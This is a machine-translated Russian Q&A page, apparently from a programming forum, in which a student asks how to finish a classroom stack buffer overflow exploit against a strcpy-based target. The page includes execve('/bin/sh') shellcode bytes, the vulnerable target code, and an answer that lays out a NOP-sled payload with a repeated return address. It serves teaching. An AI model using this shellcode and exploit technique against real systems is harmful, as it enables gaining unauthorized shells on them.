Интерактивный буфер переполняет программу эксплойта
-
27-09-2019 - |
Вопрос
Я пытаюсь выяснить эту проблему для одного из моих классов SCI COMP, я использовал каждый ресурс и все еще имея проблемы, если кто-то может дать некоторое понимание, я бы очень ценю это.
У меня есть эта «цель», мне нужно выполнить execve ("/ bin / sh") с эксплойтом переполнения буфера. В переполнении Buf [128] при выполнении небезопасной команды strcpy указатель обратно в буфер, появляется в месте, где система ожидает, чтобы найти обратный адрес.
target.c.
int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}
int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}
uploit.c.
#include "shellcode.h"
#define TARGET "/tmp/target1"
int main(void)
{
char *args[3];
char *env[1];
args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;
if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");
return 0;
}
Shellcode.h.
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Я понимаю, что мне нужно заполнить ARGV [1] с более чем 128 байтами, байты более 128 - это обратный адрес, который должен быть указан обратно на буфер, чтобы он выполняет / bin / sh внутри. Это правильно до сих пор? Может кто-нибудь предоставить следующий шаг?
Большое спасибо за любую помощь.
Решение
Ну, так что вы хотите, чтобы программа выполнить свой шеллкод. Это уже в машинной форме, поэтому она готова быть выполненным системой. Вы хранили его в буфере. Итак, вопрос будет «как система знает, чтобы выполнить мой код?» Точнее: «Как система знает, где искать следующий код, который должен быть выполнен?» Ответ в этом случае является обратным адресом, о котором вы говорите.
В основном вы на правильном пути. Вы пытались выполнить код? Одна вещь, которую я заметил, когда выступая этот тип эксплуатации, это то, что это не точная наука. Иногда в памяти есть и другие вещи, которые вы не ожидаете, что вы должны быть там, поэтому вы должны увеличить количество байтов, которые вы добавляете в свой буфер, чтобы правильно выровнять адрес возврата, где система ожидает, что система должна быть.
Я не специалист по безопасности, но я могу сказать вам несколько вещей, которые могут помочь. Одним из состоит в том, что я обычно включаю в себя «NOP STRED» - по существу, просто серию байтов 0x90, которые не делают ничего, кроме того, чтобы выполнить инструкции «NOP» на процессоре. Другой трюк - повторить обратный адрес в конце буфера, чтобы даже один из них перезаписывает обратный адрес в стеке, у вас будет успешное возвращение туда, куда вы хотите.
Итак, ваш буфер будет выглядеть так:
|. NOP STRED |. Shellcode |. Повторный обратный адрес |
(Примечание: это не мои идеи, я получил их от взлома: искусство эксплуатации, Джоном Эриклоссоном. Я рекомендую эту книгу, если вы заинтересованы в том, чтобы узнать больше об этом).
Чтобы рассчитать адрес, вы можете использовать что-то похожее на следующее:
unsigned long sp(void)
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char* buffer;
offset = 0;
esp = sp();
ret = esp - offset;
}
Теперь RET удержит адрес возврата, который вы хотите вернуться, предполагая, что вы выделяете буфер, чтобы быть на куче.